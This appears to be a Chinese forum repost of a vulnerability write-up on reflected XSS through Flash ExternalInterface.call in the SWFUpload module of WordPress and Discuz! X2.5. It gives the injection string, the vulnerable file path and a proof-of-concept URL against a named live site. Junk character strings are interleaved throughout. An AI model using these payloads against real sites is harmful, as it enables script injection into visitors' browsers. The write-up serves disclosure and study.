上回我们说' r0 X4 O* y! E
$ n. ^' p+ X$ J) y* `: Vflash.external.ExternalInterface.call($methodName, $parameter)
+ {3 w9 ^* S1 L9 o4 Q在浏览器中执行的是
' p8 n; s4 H3 U D4 ]
6 C" s' o+ |; t' R' Mtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}0 T$ ~* b/ F. I1 k, i" Q# G, q0 ~* _
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
2 B" S' l0 L3 f7 X. J! b4 _7 L- y9 w! ]/ r$ U3 a
flash.external.ExternalInterface.call("object."+$methodName, $parameter)# g9 O5 o, ]! L% p; m
$methodName = a())}catch(e){alert(/xss/)}//
1 _9 Q$ y4 S( z" Y) g结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
# A, w, P `7 Q+ o" [$ F3 Q: G) J
9 i6 s0 T" t$ H4 }$ V |; l' dtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }9 a! X# k! n$ U w" Q2 V: V+ V* i$ ?
: a5 c3 m% G, P3 Q0 _& W这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
1 _$ q0 a( j2 Q0 y! E3 ]; T) L杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
* @( Z7 @5 U7 ]
4 C: w/ p1 M/ a4 l8 L1 x7 F& i6 B. K4 V3 w
$ V g" d$ Y! z" A+ l. b7 p0 m7 w漏洞文件:upload\static\image\common\swfupload.swf
1 g3 y" R. k' e- [: @' `
7 s9 P8 D/ x! n原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf; T4 a! d5 f0 g
/ }+ H) b' [: ]' L e( q- B# j% b! s! F: U/ D3 \; m, j
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//# {0 l2 Q0 y3 v
_8 n" x7 ?* H
8 y4 P- t! O/ `% T3 N. H |